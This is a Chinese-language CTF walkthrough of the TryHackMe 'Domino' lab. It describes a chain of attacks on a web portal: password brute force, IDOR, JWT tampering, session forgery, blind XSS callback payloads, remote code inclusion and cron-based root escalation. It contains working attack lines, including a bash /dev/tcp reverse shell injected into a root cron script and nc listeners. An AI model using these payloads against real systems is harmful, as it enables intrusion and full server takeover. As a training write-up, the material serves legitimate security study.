[THM] Domino-WP
TryHackMe Domino 渗透测试笔记
一、目标信息与攻击链概览
这次练习的目标是 NexusCorp 员工门户。按照靶场提示,需要把多个小问题串联起来,逐步扩大访问权限。下面按照我的实际操作顺序记录测试过程,包括 SQL 注入测试、Session 结构分析和工单回连测试,以及这些测试如何帮助确定下一步方向。
| 项目 | 本次记录 |
|---|---|
| 靶场 | TryHackMe · Domino |
| 目标 IP | 10.146.180.198 |
| 本机 VPN IP | 192.168.129.1 |
| Web 入口 | http://10.146.180.198/ |

The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.
As an attacker, your objective is to observe how the application behaves, interact with its endpoints, and identify weak trust boundaries. By analysing requests, modifying parameters, and chaining vulnerabilities together, you can progressively escalate your access and move deeper into the system.
A single misstep can trigger a chain reaction, exploit each weakness in sequence and watch the system fall, one domino at a time.

1.1 本次测试路线
1 | 员工信息泄露 → 弱口令登录 sarah.johnson |
二、信息收集与登录入口
2.1 确认 VPN 路由
先检查到目标的路由,确认流量通过 VPN 接口。
1 | ip route get 10.146.180.198 |
截图中出口为 tun0,源地址为 192.168.129.1。

2.2 Nmap 扫描
随后使用 Nmap 识别开放端口和服务。截图中的扫描命令如下:
1 | sudo nmap -sS -sV -sC -O -T4 -n --reason -oA nmap_10.146.180.198 10.146.180.198 |
Nmap 这次没有直接给出明确的操作系统结果,后面一大段输出当时在我看来像是“乱码”,暂时没能从中读出具体系统信息。先记录已经识别出的开放端口和服务:
| 端口 | 服务 | 识别结果 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu |
| 80/tcp | HTTP | Apache 2.4.58(Ubuntu) |

2.3 检查登录表单
根据靶场提示,接下来访问 HTTP 服务:
http://10.146.180.198/

首页是登录表单。我分别测试了不输入内容和输入空格:不输入时,页面提示该字段必填;输入空格时,请求中会出现空白字符。
2.4 使用 sqlmap 测试登录参数
接下来,我怀疑 username 或 password 参数存在 SQL 注入。
使用 Burp Suite 捕获登录请求,保存为 login.txt,再交给 sqlmap 验证。

执行:
1 | sqlmap -r login.txt -p username,password --batch --level=3 --risk=1 --threads=1 --flush-session -v 2 |
尝试结果: 本次 sqlmap 测试没有发现可利用的注入点,因此先转向其他线索;这不等于已经排除所有 SQL 注入可能。

接下来考虑弱口令。最开始只尝试了 admin/admin、administrator 这类常见组合,没有收获。
2.5 员工信息与密码重置(未取得重置邮件)
查看登录页面源码,发现 /forgot.php 和 /team.php 两个入口。前者用于重置密码,但我还不知道用户名,因此先访问员工页面 http://10.146.180.198/team.php。

员工页面公开了姓名、邮件地址和职位。其中 James Wright 的职位是 Systems Administrator,先记下这条线索。

拿到员工信息后,再测试密码重置。页面提示会向对应邮箱发送重置邮件,但我无法接收邮件,因此这条路线暂时没有进展。表单还提示了用户名格式 firstname.lastname,可以用于后续弱口令测试。

三、弱口令登录普通用户
3.1 整理用户名和密码字典
将员工姓名按提示格式整理成 username.txt。

密码字典使用本地预装的:
/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100.txt
先过滤空行,整理出本次测试使用的字典:
1 | grep -v '^$' /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100.txt > passwords_clean.txt |
过滤结果保存为当前练习目录下的 passwords_clean.txt,后续命令可以直接引用。原记录中的过滤命令只输出到终端,这里补上了输出重定向。
3.2 使用 Hydra 测试登录表单
使用 Hydra 对 HTTP POST 登录表单进行测试:
1 | hydra -L username.txt -P passwords_clean.txt -t 2 -f -V 10.146.180.198 http-post-form "/index.php:username=^USER^&password=^PASS^:F=Invalid credentials" |

成功获得一组登录凭证:
1 | login: Sarah.Johnson password: password |

四、后台接口测试与会话分析
4.1 检查普通用户后台

使用该凭证成功进入普通用户后台。继续查看页面源码,发现以下链接:
1 | /support/index.php |

先访问 /api/users/profile.php?id=3,得到当前用户信息:
1 | { |

4.2 测试 IDOR 并读取 Flag 1
这个接口通过 id 参数选择用户,因此继续检查是否存在 IDOR。
把 id 从 3 修改为 1,返回了管理员信息:
1 | { |
从 notes 字段获得 Flag 1:
1 | THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1} |

现在整理下我们已知信息:
| 用户 ID | 用户名 | 角色 |
|---|---|---|
| 1 | laura.hayes | admin |
| 3 | sarah.johnson | user |
下一步是从普通用户 sarah.johnson 的访问权限继续深入,尝试取得管理员 laura.hayes 的身份。
4.3 分析 Session Cookie 结构
从之前成功登录的响应中,拿到 Sarah 的 Session Cookie:
1 | Set-Cookie: nexus_session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoidXNlciJ9.0bceab2ebd4da65aefd97d6b1c7a2f3a8fa71d6ee3882cc44b8d97937a5fc49d; |

这个 Cookie 看起来由点号分隔的两部分组成:
- 第一部分像 Base64 编码的数据。
- 第二部分是 64 个十六进制字符,可能用于完整性校验。
先解码第一部分:
1 | echo 'eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoidXNlciJ9' | base64 -d |
得到:
1 | { |
这说明 Cookie 中直接存储了用户的身份信息,包括 user_id、username 和 role。
既然管理员的角色是 admin,那我们是否可以直接把 role 从 user 修改为 admin,从而绕过身份认证?
4.4 修改角色并对照响应
把解码后 JSON 中的 role 从 user 改为 admin,然后重新进行 Base64 编码。
修改后的字符串为:
1 | eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoiYWRtaW4ifQ== |

保留后半段签名,替换前半段内容后重放请求,服务器返回 302 并跳回登录页。作为对照,未修改的 Session 可以正常访问后台。
测试收获: 已经解码出 Session 中的身份数据,并确认修改前半段后,原会话不再被接受。结合后半段的十六进制字符串,可以继续沿着完整性校验的方向寻找线索;后面读取认证源码时再验证这个判断。


这一步厘清了“编码后的身份数据”和“完整性校验”两个部分。后续分析 JWT 时,仍会用到解码、修改字段、重新编码后对照响应的思路;但两种令牌的结构和校验机制需要分别分析。想继续构造可用的管理员 Session,还需要找到签名算法和密钥。
五、目录枚举与备份配置泄露
5.1 发现后台与备份目录
前面的对照测试已经发现:Session 前半段可以解码出身份信息,修改角色后却会跳回登录页,后半段的十六进制字符串可能参与完整性校验。目前还不知道校验算法和密钥,因此转向目录与敏感文件枚举,寻找配置文件或认证源码。
执行:
1 | gobuster dir -u http://10.146.180.198/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 10 -o gobuster.txt |
枚举结果中值得关注的目录有:
1 | /admin/ |

当前普通用户访问 /admin/ 被拒绝;/backup/ 则开启了目录索引,包含 config.enc 和 README.txt。后者写着:


1 | NexusCorp Backup Configuration |
5.2 从前端 JavaScript 获取备份密钥
下一步查看 /static/app.js,寻找解密 config.enc 所需的密钥。
在文件开头的 CONFIG 对象中,发现以下代码:
1 | const CONFIG = { |

开发人员将备份配置的解密密钥写在了公开可访问的 JavaScript 中。
5.3 下载并解密配置
有了算法和密钥提示,继续验证能否解密备份。
下载文件,并检查类型和大小:
1 | curl -fsS http://10.146.180.198/backup/config.enc -o config.enc |

根据之前的分析,我们知道加密方式为 AES-128-ECB,也就是使用 128 位(16 字节)密钥的 ECB 模式。
密钥长度需要注意:
N3xusK3y2024!! 实际上只有 14 字节,而 AES-128 要求密钥长度必须为 16 字节。
JavaScript 注释已经提示,需要使用 \0 补齐到 16 字节,也就是在末尾增加两个 0x00 字节。
可以通过以下命令确认最终密钥的十六进制形式:
1 | printf 'N3xusK3y2024!!\0\0' | xxd -p -c 256 |
得到:
1 | 4e337875734b33793230323421210000 |
接下来使用 OpenSSL 解密:
1 | openssl enc -aes-128-ecb -d \ |
成功恢复了配置内容:
1 | { |

虽然这里没有直接拿到管理员密码,但至少说明备份文件确实可以被解密,同时还发现了一个值得留意的系统用户名:devops。
六、JWT 权限绕过与源码读取
6.1 获取普通用户 JWT
备份文件的问题暂时告一段落,不过刚才的 app.js 还有一些值得关注的代码:
1 | getApiToken: function() { |
这里出现了 nexus_jwt。
JWT(JSON Web Token)是一种常见的身份信息传递格式,通常由 Header、Payload 和 Signature 三部分组成。
接着往下看:
1 | if (!localStorage.getItem('nexus_jwt') && document.cookie.includes('nexus_session')) { |
通过代码可以看出,前端会检查当前浏览器中是否存在 nexus_session,在没有缓存 JWT 的情况下,向 /api/auth/token.php 发起请求,然后把返回的 Token 保存到 localStorage。
这意味着网站除了之前发现的 nexus_session Cookie,可能还使用 JWT 对部分 API 进行权限验证。
现在我们有了 sarah.johnson 的登录状态,直接访问 /api/auth/token.php,返回了:
1 | { |

返回值提示使用 Authorization: Bearer <token> 请求头访问 /api/files.php。下面保留当时捕获的 Token 作为记录。
6.2 普通用户访问文件接口被拒绝
接下来尝试访问这个接口
构造请求:
1 | GET /api/files.php?name=/var/www/html/static/app.js |
服务器返回:
1 | 403 Forbidden |

说明 /api/files.php 并不是普通用户能够直接访问的接口,需要管理员 JWT。
6.3 修改 JWT 中的角色
在 Burp Suite 的 JSON Web Token 面板中查看 Payload:
1 | { |

接着只把 Payload 中的 role 改成 admin,保留原来的签名,再次发送请求。
结果:接口返回成功,读到了 app.js。
说明至少对于当前 /api/files.php 接口而言,角色声明可以被篡改并用于通过管理员权限检查;结合保留原签名仍能访问的结果,可以确认其 JWT 签名验证存在缺陷。

虽然通过修改 JWT 的 role 字段,我们成功绕过了 /api/files.php 的权限检查,并读取到 /var/www/html/static/app.js。不过这个文件本身就可以通过浏览器直接访问,所以仅仅读取它还不能体现文件读取漏洞的实际危害。
6.4 读取文件接口源码
接着尝试读取文件接口自身
1 | /api/files.php?name=/var/www/html/api/files.php |
服务器返回 200 OK,成功获取了 PHP 源码。

首先注意到文件开头:
1 | require_once __DIR__ . "/../auth.php"; |
这里的 __DIR__ 指向当前脚本所在目录,也就是 /var/www/html/api,因此可以推断它引用的是 /var/www/html/auth.php。
继续往下看,发现接口调用了:
1 | $jwt_payload = verify_jwt(substr($auth, 7)); |
结合之前篡改 JWT 后仍然通过权限检查的现象,verify_jwt() 显然是值得重点调查的函数。
此外,在文件读取逻辑中还发现了一个比较危险的实现:
1 | $remote = @file_get_contents($name); |
当 name 以 http:// 或 https:// 开头时,服务器会下载远程内容并交给 eval() 执行。
这说明文件接口除了泄露站点文件内容,还可能存在远程代码执行问题。此时已经验证的是站点目录内的源码读取,不据此假定能读取任意系统路径。
这里可以先记录下,后续可以尝试通过构造恶意 payload 来触发远程代码执行漏洞。
6.5 审计 auth.php 认证模块逻辑
继续通过文件接口读取 /var/www/html/auth.php。其中 get_session() 负责解析 nexus_session。

关键代码如下:
1 | // Cookie format: base64(json).hmac_sha256(base64(json), APP_SECRET) |
可以确认了服务器使用 APP_SECRET,对 Base64 编码后的 JSON 进行 HMAC-SHA256 签名,并通过 hash_equals() 验证签名是否合法。
继续分析 get_session() 时,又发现了一个细节:
1 | $stmt = $db->prepare('SELECT id, username, email, role FROM users WHERE id = ?'); |
服务器并不会直接使用 Cookie 中的 role 字段,而是根据 user_id 从数据库重新查询账户信息及权限。
也就是说,仅仅把 role 改为 admin,即使重新生成合法签名,也无法直接获得管理员权限。
真正决定用户身份的是 user_id。
结合之前通过 IDOR 获取到的信息,我们知道:
- 普通用户
sarah.johnson的 ID 为3。 - 管理员
laura.hayes的 ID 为1。
因此,需要把 Session Payload 改为管理员的用户 ID,并取得 APP_SECRET 来生成合法签名。
6.6 读取配置中的签名密钥
接下来尝试访问:
1 | /api/files.php?name=/var/www/html/config.php |
服务器直接返回 200 OK,成功读取到了配置文件源码。
1 | define('DB_HOST', 'localhost'); |

APP_SECRET 是 Session Cookie 的签名密钥;JWT_SECRET 属于另一套认证机制,不要混用。
七、伪造 Session 获取管理员权限
7.1 构造管理员身份数据
之前只能猜测 Cookie 后半段用于校验完整性。现在已经从源码确认签名算法,也拿到了密钥,可以构造管理员 Session。
在 CyberChef 中输入下面的单行 JSON,保持字符顺序,不添加空格或末尾换行,便于与本次记录的编码及签名对应:
1 | {"user_id":1,"username":"laura.hayes","role":"admin"} |
然后选择 Base64 编码,得到:
1 | eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImxhdXJhLmhheWVzIiwicm9sZSI6ImFkbWluIn0= |

7.2 计算 HMAC-SHA256 签名
对上一步输出的 Base64 字符串执行 HMAC 操作,不是直接对原始 JSON 签名。参数如下:
| 参数 | 值 |
|---|---|
| Key | nexus_app_k3y_2024 |
| Key 格式 | UTF-8 |
| Hash Function | SHA256 |
得到签名:
1 | 179723f1fbd3331a8f6cc790ebd2adfbff9fda87f2d4e4190ee0169eaf811025 |

7.3 登录管理员后台并读取 Flag 2
用点号拼接 Base64 数据和签名,得到完整的 nexus_session:
1 | eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImxhdXJhLmhheWVzIiwicm9sZSI6ImFkbWluIn0=.179723f1fbd3331a8f6cc790ebd2adfbff9fda87f2d4e4190ee0169eaf811025 |
在浏览器中替换该 Cookie,刷新后进入 laura.hayes 的管理员会话。

访问管理员面板,取得 Flag 2:
1 | THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2} |

这里通过源码泄露 → 获取签名密钥 → 伪造管理员 Session拿到了管理员权限。Flag 2 的名称也让我留意到 Blind XSS,接下来继续看看工单系统。
八、工单与 Blind XSS 测试
8.1 提交测试工单
继续查看管理员页面源码,发现创建工单入口。
接口为 /support/create.php。

进入后先提交一条测试工单。
根据 Burp Suite 中的请求与响应,可以确认:
/support/create.php接受 POST 请求,参数为 subject 和 message。请求只提交了文本字段- 当前 Session 可以成功提交工单。
- 页面提示管理员会审核工单,但这还不代表管理员已经读取或处理了工单内容

这里想到的方向包括存储型 XSS、Blind XSS 和 SQL 注入。
工单列表有 Status 一栏,页面也提到管理员审核,因此我先尝试 Blind XSS。
8.2 HTTP 回连测试
在本机启动 HTTP 服务,绑定这次练习的 VPN 地址:
1 | python3 -m http.server 8000 --bind 192.168.129.1 |

新建工单,分别填写标题和消息:
subject: Blind-XSS-Test-01
message:
1 | <img src=x onerror="new Image().src='http://192.168.129.1:8000/xss-check?test=domino01'"> |
监听窗口收到请求:
1 | [27/Oct/2026 14:54:04] "GET /xss-check?test=domino01 HTTP/1.1" 404 - |

提交工单后,本机收到了对应 URL 的 HTTP 请求,说明工单内容触发了后续访问。我接着用需要 JavaScript 拼接才能得到完整地址的 Payload 做对照,看看回连是否依赖脚本执行。
8.3 使用字符串拼接进一步验证
随后尝试第二种 Payload:
1 | <img src=x onerror="new Image().src='ht'+'tp://192.168.129.1:8000/js-proof?source='+location.hostname"> |
这次使用了 JavaScript 字符串拼接,只有执行表达式之后,才能得到完整的回连地址。
结果:监听端没有收到新的 HTTP 请求。
两次测试的区别在于:第一种 Payload 包含连续、完整的 HTTP 地址,第二种则把协议拆成了 'ht'+'tp://',还需要求值 location.hostname。前者收到回连,后者没有,差异更支持“后台提取文本中的完整 URL 并主动请求”的解释。
当前推测: 工单审核流程中可能有提取 URL 并通过 HTTP 客户端访问的逻辑,因此第一种写法能触发回连,第二种字符串拼接写法却不能。这是根据两次响应差异作出的判断;审核触发时机、过滤规则等因素也可能影响结果。若继续这条路线,可以结合后台审核代码核对其处理方式。本次先沿已经发现的文件接口继续深入。
九、利用远程代码执行获取初始 Shell
9.1 回到文件接口的执行逻辑
之前审计 /api/files.php 源码时,发现了一个潜在的远程代码执行漏洞。
1 | if (strpos($name, "http://") === 0 || strpos($name, "https://") === 0) { |
这段代码的逻辑是,如果 name 参数以 http:// 或 https:// 开头,服务器会下载远程内容并交给 eval() 执行。
所以我们可以尝试构造一个恶意 payload,利用这个漏洞来执行任意 PHP 代码,从而获取服务器权限。
9.2 准备 PHP 文件并触发回连
在前面 HTTP 服务的根目录下创建 rev.php,内容如下:
1 |
|
然后在本地新开一个终端监听:
1 | nc -lvnp 4444 |
请求中的 <ADMIN_JWT> 替换为当前可通过文件接口校验的管理员 JWT:
1 | curl --http1.1 -v -i --connect-timeout 5 --max-time 20 \ |


9.3 确认身份并读取 Flag 3
监听端收到反向 Shell。检查身份和服务器信息:
1 | whoami |
1 | 当前用户:www-data |
读取 /opt/flag3.txt,得到 Flag 3:
1 | cat /opt/flag3.txt |
1 | THM{rf1_2_rc3_f00th0ld_fl4g3} |

十、本地信息收集
10.1 改善 Shell 交互并检查 sudo
服务器上存在 Python 3,先改善 Shell 的交互体验:
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
随后收集本地信息,寻找提权入口。
检查 sudo 权限:
1 | sudo -n -l 2>&1 |
提示:
1 | sudo: a password is required |
当前尝试未获得可直接使用的免密 sudo 权限。

10.2 枚举用户和 SUID 文件
枚举本地用户目录:
1 | ls -lah /home |
发现:
1 | drwxr-xr-x 4 root root 4.0K Apr 29 09:37 . |
这里也就印证了之前在 config.dec 中发现的 devops 用户。
寻找 SUID 程序:
1 | find / -xdev -type f -perm -4000 2>/dev/null |
返回了:
1 | /usr/lib/dbus-1.0/dbus-daemon-launch-helper |
这些大多是 Linux 常见的系统程序,暂时没有发现明显异常的自定义 SUID 文件。
10.3 检查 /opt 目录权限
查看 /opt:
1 | ls -lah /opt 2>/dev/null |
发现:
1 | drwxrwxrwx 5 root root 4.0K May 7 20:26 . |
/opt 目录的权限是 777 ,意味着包括 www-data 在内的普通用户也具有写入权限。
此外,admin_bot.py 同样设置了 777,虽然文件属于 root,但普通用户也可以修改它。
/opt 下面还有一个 monitoring 目录,从名字来看可能用于系统监控或者健康检查。
如果里面存在被 root 定期执行的脚本,再结合前面发现的目录权限问题,就有可能形成一条提权路径。
接下来检查 monitoring 目录权限和内容:
1 | ls -ld /opt /opt/monitoring /opt/monitoring/* |
得到:
1 | drwxrwxrwx 5 root root 4096 May 7 20:26 /opt |
这里的 health_report.sh 无法通过 www-data 用户直接修改
不过,它的父目录 /opt/monitoring 位于权限为 777 且未设置粘滞位的 /opt 下。
低权限用户可能能够重命名 /opt/monitoring,再创建同名目录
10.4 查看健康检查脚本
检查下 health_report.sh 的内容:
1 |
|
可以看出,这是一个系统健康检查脚本,主要执行:
- 记录当前检查时间。
- 检查 Apache 服务是否运行。
- 检查 MySQL 服务是否运行。
- 获取根文件系统的磁盘使用率。
- 将检查结果写入
/var/log/nexus_health.log
十一、利用可写父目录与 root 定时任务提权
11.1 使用 pspy 确认任务身份
/opt/tools 下还有一个现成的 pspy64 程序:
1 | -rwxr-xr-x 1 root root 3.0M pspy64 |
pspy 是一款 Linux 进程监控工具,能够在不具备 root 权限的情况下,利用 /proc 观察系统中部分进程的创建和命令执行情况。
现在我们的目标是确认 health_report.sh 是否会被 root 执行,以及执行的频率。
执行:
1 | /opt/tools/pspy64 |
监控输出中,UID=0 表示以 root 身份运行;同时可以看到 /usr/sbin/CRON 和 /bin/bash /opt/monitoring/health_report.sh。这支持该脚本由 root 定时任务执行的判断。

所以接下来的思路就是利用 /opt 目录的写权限,尝试通过替换 /opt/monitoring 目录来实现提权。
11.2 替换 monitoring 目录
首先保留原始目录,将其重命名:
1 | mv /opt/monitoring /opt/monitoring.bak |
然后重新创建相同路径,并复制原来的健康检查脚本:
1 | mkdir /opt/monitoring |

截图保留了一次文件名输入错误:
health_report.s不存在,随后改为health_report.sh后成功。上面的命令采用修正后的文件名。
11.3 验证 root 命令执行
在脚本第二行插入验证命令:
1 | sed -i '2i /usr/bin/id > /opt/monitoring/root_probe.txt 2>&1' /opt/monitoring/health_report.sh |
验证第二行是否插入:
1 | head -n 5 /opt/monitoring/health_report.sh |

之后等下次系统检查后,查看 /opt/monitoring/root_probe.txt 文件内容:
1 | ls -l /opt/monitoring/root_probe.txt && cat /opt/monitoring/root_probe.txt |
看到:
1 | -rw-r--r-- 1 root root 39 Oct 27 08:35 /opt/monitoring/root_probe.txt |

验证结果说明这条提权链路可行。
11.4 获取 root Shell
验证成功后,让 root 定时任务执行反向连接命令。
先在本机新开终端监听:
1 | nc -lvnp 5555 |
随后在目标服务器的 Shell 中执行:
1 | sed -i '3i /bin/bash -c "bash -i >& /dev/tcp/192.168.129.1/5555 0>&1"' /opt/monitoring/health_report.sh |

等待下一次定时任务触发。
成功获得 root Shell。

11.5 读取用户与 root Flag
取得 root 权限后,读取 /home/devops/user.txt:
1 | cat /home/devops/user.txt |
Flag 4:
1 | THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4} |
接着读取 root flag:
1 | cat /root/root.txt |
1 | THM{pr1v3sc_cr0n_r00t_fl4g5} |

Flag 4 的名称提示了 SSH 凭据复用,或许还存在先切换到 devops 再继续提权的路线。这里记录的是我通过可写父目录和定时任务取得 root 的利用链,之后也可以沿凭据复用的方向再探索。
十二、复盘
12.1 各阶段测试与收获
| 路线 | 本次结果 | 后续作用 |
|---|---|---|
| 登录参数 SQL 注入 | 本次测试未发现可利用注入点 | 转向公开员工信息与弱口令 |
| 密码重置 | 无法接收重置邮件 | 确认用户名格式 |
| Session 解码与角色修改 | 修改后跳回登录页,原会话正常 | 明确身份数据结构,为后续校验逻辑分析提供线索 |
| 备份配置解密 | 成功恢复配置 | 得到 devops 用户线索 |
| 修改 JWT 的 role | 文件接口接受修改后的 Token | 读取认证与配置源码 |
| 伪造管理员 Session | 成功 | 读取管理员面板中的 Flag 2 |
| 工单回连对照测试 | 完整 URL 收到回连,字符串拼接未收到 | 推测后台提取 URL 并主动访问,后续可结合审核代码验证 |
| 远程文件内容执行 | 获得 www-data Shell | 进入主机信息收集 |
| 替换监控目录 | root 定时任务执行替换后的脚本 | 获得 root Shell |
12.2 Flag 汇总
| Flag | 本次获取位置或方式 | 内容 |
|---|---|---|
| 1 | 用户资料接口的 notes 字段 | THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1} |
| 2 | 伪造管理员 Session 后访问控制台 | THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2} |
| 3 | /opt/flag3.txt | THM{rf1_2_rc3_f00th0ld_fl4g3} |
| 4 | 取得 root 后读取 /home/devops/user.txt | THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4} |
| 5 | /root/root.txt | THM{pr1v3sc_cr0n_r00t_fl4g5} |
这次练习中,信息泄露、两套认证机制的校验差异,以及文件系统父目录权限,逐步串成了完整攻击链。复盘时最需要区分的是:JWT 的角色篡改与 Session 的签名伪造是两条不同路径;HTTP 回连不等于浏览器脚本执行;文件本身不可写,也不代表它所在的路径无法被替换。
十三、知识点存储
这一节把 Domino 中遇到的机制单独整理下来,方便以后遇到类似现象时,能从原理判断下一步该检查什么。文中的补充示例用于解释机制,与前面的实际操作记录分开。
13.1 Web 身份认证与签名验证机制
Authentication 与 Authorization 分别解决什么问题?
Authentication(身份认证)回答“当前请求代表谁”,例如验证登录凭据或会话令牌。Authorization(授权)回答“这个身份能操作哪些资源”,例如普通用户能否读取管理员资料。登录成功之后,每个受保护接口仍需要执行授权检查。OWASP 授权指南
放到 Domino 中,Sarah 的登录是身份认证;Sarah 能否访问 id=1 的用户资料、能否调用文件接口,则属于授权问题。IDOR 的关键是服务端没有正确限制当前用户可访问的对象,不需要先成为管理员。
JWT 的 Header、Payload 与 Signature
这里讨论常见的 JWS 紧凑形式 JWT,而不是加密形式 JWE。它由点号连接三个部分:
1 | BASE64URL(Header).BASE64URL(Payload).BASE64URL(Signature) |
| 部分 | 常见内容 | 阅读时关注什么 |
|---|---|---|
| Header | alg、typ | 声明使用什么算法,例如 HS256 |
| Payload | sub、exp、iat,以及自定义 role | 身份、有效期和业务声明;内容可被解码,不应直接视为可信 |
| Signature | 签名或消息认证码的编码结果 | 服务端是否真正验证了前两段的完整性 |
sub 通常标识主体,exp 表示过期时间,iat 表示签发时间。服务端应先按自身认可的算法和密钥验证令牌,再按应用要求检查有效期、签发者、接收者等声明,最后作授权判断。不能只读取 role 就放行。RFC 7519:JWT 声明、RFC 7515:JWS 结构与验证
HS256、HMAC-SHA256 与编码的关系
HS256 指使用 SHA-256 的 HMAC。HMAC 是基于共享密钥的消息认证码,签发方和验证方都掌握同一个密钥;它不同于 RSA 那类公私钥数字签名。JWT 中仍习惯把第三段称为 Signature。RFC 7518 `3.2:HMAC 算法
其计算关系可以写成:
1 | H = BASE64URL(Header 的 UTF-8 字节) |
Base64/Base64url 只是可逆编码,不需要密钥,也不保护完整性。HMAC 则要求密钥,目的是检测内容是否被篡改;它也不会隐藏明文。标准 JWS 的 Base64url 使用 -、_ 替代普通 Base64 的 +、/,并省略末尾 =。分析靶场中的自定义实现时,要核对实际采用的编码,不能默认它完全符合标准。RFC 7515:Base64url 与签名输入
Session Cookie 不一定是 JWT
Cookie 是浏览器携带数据的机制,Session 是应用维持会话状态的机制。常见方式是 Cookie 只保存随机会话 ID,用户资料存放在服务端;也有应用把身份数据与校验值一起放进 Cookie。另一个容易混淆的术语是浏览器的“会话 Cookie”:它通常指没有设置持久过期时间的 Cookie,而不是指定其中必须存放哪种认证格式。OWASP 会话管理指南
Domino 的 nexus_session 是源码定义的两段式结构:
1 | B = Base64(JSON) |
这里 HMAC-SHA256 的 32 字节结果被写成 64 个十六进制字符;标准 HS256 JWT 的第三段则使用 Base64url。两者都涉及编码和校验,但拼接格式、校验输入和密钥用途不同。
本题要记住: 修改 JWT 的 role 后仍被接口接受,暴露了 JWT 校验问题;修改 Session 前半段后被拒绝,则引出了另一套完整性校验。拿到 APP_SECRET 后,还要把 user_id 改成管理员 ID,因为 auth.php 最后根据这个 ID 查询真实角色。计算 HMAC 时,JSON 的空格、换行和字段顺序都会影响编码后的字节,必须让实际提交的数据与签名输入保持一致。
13.2 HTTP/1.1 报文结构与 Burp 请求调试
先看清报文边界,再判断业务响应
HTTP/1.1 请求由请求行、请求头、一个空行以及可选的消息体组成。下面是一个独立示例:
1 | POST /index.php |
请求行中的三部分是方法、请求目标和协议版本。在线路上,请求行和各 Header 行通常以 CRLF 结束;最后一个 Header 后再接一个 CRLF,于是形成 \r\n\r\n,把头部与消息体分开。这里写出的 \r\n 是转义表示,不是要在 Burp Raw 中输入反斜杠和字母。RFC 9112:HTTP/1.1 报文格式
Content-Length 计算消息体的字节数,不包括请求行、Header 和分隔空行。示例消息体是 21 个 ASCII 字节,假定末尾没有额外换行。中文、URL 编码和末尾换行都可能改变字节数;修改请求体后要让 Burp 正确更新长度。HTTP/1.1 还可使用 Transfer-Encoding 确定报文边界,普通调试时不要随意混用两套长度声明。RFC 9112:消息体长度
Connection: close 表示本次交换后关闭连接,不代表“停止服务器中的程序”,也不是验证身份的字段。Cookie 与 Authorization 则可能分别携带不同认证凭据;本题的 Session 与 JWT 正是如此。
状态码要结合响应头和响应体一起看
| 状态码 | 通常表示 | 本题中的判断方式 |
|---|---|---|
200 | 请求成功处理 | 继续看响应体,确认是否真的返回了目标源码或页面 |
302 | 重定向 | 查看 Location;跳回登录页与跳到后台含义不同 |
400 | 请求存在客户端错误 | 先检查报文格式、参数和长度,不急于归因于权限 |
401 | 缺少有效认证凭据 | 检查认证头、会话状态和令牌是否有效 |
403 | 服务端拒绝执行请求 | 检查角色、资源权限及响应中的具体提示 |
404 | 未找到目标资源,或服务端不公开其存在 | 回连日志中的 404 仍说明该 HTTP 请求已经到达监听服务 |
500 | 服务端内部错误 | 只能说明处理异常,不能单凭它确认漏洞利用成功 |
以上是通用语义;应用可能使用自定义错误处理,所以状态码与正文需要相互印证。RFC 9110:HTTP 状态码
Raw 与 Inspector 是两种查看方式,不是两份独立请求
Raw 适合检查请求行、Header、空行及完整消息体;Inspector 会把请求头、Cookie、参数等拆成结构化字段,并可能自动解码展示。修改 Inspector 中的解码值后,应回到 Raw 查看最终编码和字段位置,避免把“显示出来的明文”误认为实际发送的字节。Burp 消息编辑器、Inspector 文档
本题可复用的 Repeater 调试顺序:
- 保留一份能正常工作的请求作为基线。
- 每次只修改一个因素,例如
id、JWT 的role或 Session 的前半段。 - 核对实际连接的主机、端口,以及
Host、Cookie、Authorization 等字段。 - 对比状态码、
Location、响应体与耗时;必要时重发原请求,确认会话没有失效。
这样才能把“修改导致的结果”与“令牌过期、请求格式错误或服务波动”区分开。Burp Repeater 请求调试教程
13.3 Blind XSS 与 SSRF 的区别及验证方法
核心区别是代码在哪里执行、请求由谁发起
| 概念 | 发生的位置 | 需要观察的关键行为 |
|---|---|---|
| 存储型 XSS | 被保存的数据后来进入其他页面的可执行上下文 | 浏览器把输入解释为脚本并执行 |
| Blind XSS | 常见于测试者无法直接查看的后台、审核页面 | 隐藏页面中的脚本执行通过外带信息体现出来 |
| SSRF | 服务器或后台服务主动发起网络请求 | 不可信输入影响请求目的地,跨越应用原本的访问边界 |
Blind XSS 常是存储型 XSS 的一种场景:“Blind”强调无法直接看到触发页面,并不意味着代码运行在服务器语言解释器中。SSRF 的关键则是服务器被诱导发起非预期请求;正常的链接预览或回调功能,不会仅因存在出站请求就自动成为 SSRF。PortSwigger:存储型 XSS、Blind XSS 测试、SSRF 原理与练习
为什么图片回连不一定等于 JavaScript 执行?
浏览器看到普通的 <img src="..."> 就可能加载图片,不需要执行自定义 JavaScript。onerror 则是资源加载出错时运行的事件处理代码,前提是页面确实把它解析成可执行的事件处理器,并且没有被过滤或浏览器策略阻止。MDN:资源 error 事件
后台机器人也可能有不同实现:一种会打开真实或无头浏览器,另一种只扫描文本里的 URL,再用 HTTP 客户端访问。因此,即使回连来源是靶机 IP,也不能只凭这一点区分“靶机上的浏览器”和“靶机上的 HTTP 客户端”;User-Agent 同样只是辅助线索。
怎样设计更有解释力的对照实验?
| 对照组 | 设计思路 | 可帮助区分什么 |
|---|---|---|
| 纯文本 URL | 只提交带唯一标记的完整地址 | 后台是否会扫描或预览文本链接 |
